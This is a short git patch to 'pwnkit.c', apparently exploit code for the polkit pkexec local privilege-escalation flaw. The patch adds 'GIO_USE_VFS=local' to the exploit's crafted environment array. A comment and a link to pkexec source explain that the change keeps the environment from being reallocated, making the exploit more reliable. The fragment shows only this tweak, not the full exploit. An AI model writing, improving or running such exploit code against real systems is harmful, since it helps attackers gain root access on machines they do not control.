From 024455ebd0a119e7bc71c0db18b2c6a1a6b6fda2 Mon Sep 17 00:00:00 2001 From: iddq Date: Tue, 19 Apr 2022 14:27:08 +0200 Subject: [PATCH] prevent environ reallocation --- pwnkit.c | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/pwnkit.c b/pwnkit.c index 865c7d8..3bd498b 100644 --- a/pwnkit.c +++ b/pwnkit.c @@ -114,6 +114,11 @@ int main() { * * */ "CHARSET=BRUH", + + // prevent environ reallocation + // https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.120/src/programs/pkexec.c#L505 + + "GIO_USE_VFS=local", NULL };